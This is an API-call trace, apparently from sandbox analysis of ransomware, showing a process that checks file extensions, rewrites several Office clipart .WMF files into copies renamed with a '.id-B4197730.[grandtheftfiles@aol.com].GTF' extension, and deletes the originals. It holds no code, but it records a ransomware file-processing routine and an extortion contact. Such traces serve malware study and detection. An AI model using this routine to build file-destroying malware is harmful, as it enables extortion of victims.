	[0083.510] lstrlenW (lpString=".xlsx") returned 5
	[0083.510] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.510] lstrlenW (lpString=".ppt") returned 4
	[0083.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0083.510] lstrlenW (lpString=".zip") returned 4
	[0083.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.510] lstrlenW (lpString=".rar") returned 4
	[0083.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.510] lstrlenW (lpString=".bz2") returned 4
	[0083.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.510] lstrlenW (lpString=".7z") returned 3
	[0083.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0083.510] lstrlenW (lpString=".dbf") returned 4
	[0083.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0083.510] lstrlenW (lpString=".1cd") returned 4
	[0083.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0083.510] lstrlenW (lpString=".jpg") returned 4
	[0083.510] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0083.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0083.510] lstrlenW (lpString=".doc") returned 4
	[0083.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.510] lstrlenW (lpString=".docx") returned 5
	[0083.510] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.510] lstrlenW (lpString=".pdf") returned 4
	[0083.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.511] lstrlenW (lpString=".xls") returned 4
	[0083.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.511] lstrlenW (lpString=".xlsx") returned 5
	[0083.511] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.511] lstrlenW (lpString=".ppt") returned 4
	[0083.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0083.511] lstrlenW (lpString=".zip") returned 4
	[0083.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.511] lstrlenW (lpString=".rar") returned 4
	[0083.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.511] lstrlenW (lpString=".bz2") returned 4
	[0083.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.511] lstrlenW (lpString=".7z") returned 3
	[0083.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0083.511] lstrlenW (lpString=".dbf") returned 4
	[0083.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0083.511] lstrlenW (lpString=".1cd") returned 4
	[0083.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68
	[0083.511] lstrlenW (lpString=".jpg") returned 4
	[0083.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.511] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.511] lstrlenW (lpString="BL00265_.WMF") returned 12
	[0083.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.512] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=5752) returned 1
	[0083.512] CloseHandle (hObject=0x370) returned 1
	[0083.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x220
	[0083.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.513] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.513] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0083.513] GetLastError () returned 0x0
	[0083.513] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x1678, lpOverlapped=0x0) returned 1
	[0083.516] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1680, lpOverlapped=0x0) returned 1
	[0083.517] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.517] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.517] SetEndOfFile (hFile=0x368) returned 1
	[0083.517] CloseHandle (hObject=0x368) returned 1
	[0083.518] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.518] SetEndOfFile (hFile=0x370) returned 1
	[0083.519] CloseHandle (hObject=0x370) returned 1
	[0083.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 1
	[0083.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0083.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0083.519] lstrlenW (lpString=".doc") returned 4
	[0083.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.519] lstrlenW (lpString=".docx") returned 5
	[0083.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.519] lstrlenW (lpString=".pdf") returned 4
	[0083.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.520] lstrlenW (lpString=".xls") returned 4
	[0083.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.520] lstrlenW (lpString=".xlsx") returned 5
	[0083.520] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.520] lstrlenW (lpString=".ppt") returned 4
	[0083.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0083.520] lstrlenW (lpString=".zip") returned 4
	[0083.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.520] lstrlenW (lpString=".rar") returned 4
	[0083.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.520] lstrlenW (lpString=".bz2") returned 4
	[0083.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.520] lstrlenW (lpString=".7z") returned 3
	[0083.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0083.520] lstrlenW (lpString=".dbf") returned 4
	[0083.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0083.520] lstrlenW (lpString=".1cd") returned 4
	[0083.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0083.520] lstrlenW (lpString=".jpg") returned 4
	[0083.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0083.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0083.520] lstrlenW (lpString=".doc") returned 4
	[0083.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.521] lstrlenW (lpString=".docx") returned 5
	[0083.521] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.521] lstrlenW (lpString=".pdf") returned 4
	[0083.521] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.521] lstrlenW (lpString=".xls") returned 4
	[0083.521] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.521] lstrlenW (lpString=".xlsx") returned 5
	[0083.521] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.521] lstrlenW (lpString=".ppt") returned 4
	[0083.521] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0083.521] lstrlenW (lpString=".zip") returned 4
	[0083.521] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.521] lstrlenW (lpString=".rar") returned 4
	[0083.521] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.521] lstrlenW (lpString=".bz2") returned 4
	[0083.521] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.521] lstrlenW (lpString=".7z") returned 3
	[0083.521] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0083.521] lstrlenW (lpString=".dbf") returned 4
	[0083.521] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0083.521] lstrlenW (lpString=".1cd") returned 4
	[0083.521] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0083.521] lstrlenW (lpString=".jpg") returned 4
	[0083.521] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.521] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.521] lstrlenW (lpString="BL00267_.WMF") returned 12
	[0083.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.522] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2644) returned 1
	[0083.522] CloseHandle (hObject=0x370) returned 1
	[0083.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x220
	[0083.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.522] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.522] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0083.522] GetLastError () returned 0x0
	[0083.522] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xa54, lpOverlapped=0x0) returned 1
	[0083.524] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xa60, lpOverlapped=0x0) returned 1
	[0083.525] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.525] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.525] SetEndOfFile (hFile=0x368) returned 1
	[0083.525] CloseHandle (hObject=0x368) returned 1
	[0083.526] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.526] SetEndOfFile (hFile=0x370) returned 1
	[0083.527] CloseHandle (hObject=0x370) returned 1
	[0083.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 1
	[0083.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0083.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0083.527] lstrlenW (lpString=".doc") returned 4
	[0083.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.527] lstrlenW (lpString=".docx") returned 5
	[0083.527] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.527] lstrlenW (lpString=".pdf") returned 4
	[0083.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.528] lstrlenW (lpString=".xls") returned 4
	[0083.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.528] lstrlenW (lpString=".xlsx") returned 5
	[0083.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.528] lstrlenW (lpString=".ppt") returned 4
	[0083.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0083.528] lstrlenW (lpString=".zip") returned 4
	[0083.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.528] lstrlenW (lpString=".rar") returned 4
	[0083.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.528] lstrlenW (lpString=".bz2") returned 4
	[0083.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.528] lstrlenW (lpString=".7z") returned 3
	[0083.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0083.528] lstrlenW (lpString=".dbf") returned 4
	[0083.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0083.528] lstrlenW (lpString=".1cd") returned 4
	[0083.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0083.528] lstrlenW (lpString=".jpg") returned 4
	[0083.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0083.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0083.528] lstrlenW (lpString=".doc") returned 4
	[0083.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.528] lstrlenW (lpString=".docx") returned 5
	[0083.528] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.528] lstrlenW (lpString=".pdf") returned 4
	[0083.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.528] lstrlenW (lpString=".xls") returned 4
	[0083.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.528] lstrlenW (lpString=".xlsx") returned 5
	[0083.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.529] lstrlenW (lpString=".ppt") returned 4
	[0083.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0083.529] lstrlenW (lpString=".zip") returned 4
	[0083.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.529] lstrlenW (lpString=".rar") returned 4
	[0083.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.529] lstrlenW (lpString=".bz2") returned 4
	[0083.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.529] lstrlenW (lpString=".7z") returned 3
	[0083.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0083.529] lstrlenW (lpString=".dbf") returned 4
	[0083.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0083.529] lstrlenW (lpString=".1cd") returned 4
	[0083.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0083.529] lstrlenW (lpString=".jpg") returned 4
	[0083.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.529] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.529] lstrlenW (lpString="BL00269_.WMF") returned 12
	[0083.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.529] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=5272) returned 1
	[0083.529] CloseHandle (hObject=0x370) returned 1
	[0083.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x220
	[0083.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0083.530] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.530] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0083.530] GetLastError () returned 0x0
	[0083.530] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x1498, lpOverlapped=0x0) returned 1
	[0083.756] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x14a0, lpOverlapped=0x0) returned 1
	[0083.757] ReadFile (in: hFile=0x370, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.757] WriteFile (in: hFile=0x368, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.757] SetEndOfFile (hFile=0x368) returned 1
	[0083.781] CloseHandle (hObject=0x368) returned 1
	[0083.782] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.782] SetEndOfFile (hFile=0x370) returned 1
	[0083.783] CloseHandle (hObject=0x370) returned 1
	[0083.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 1
	[0083.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0083.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0083.784] lstrlenW (lpString=".doc") returned 4
	[0083.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.784] lstrlenW (lpString=".docx") returned 5
	[0083.784] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.784] lstrlenW (lpString=".pdf") returned 4
	[0083.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
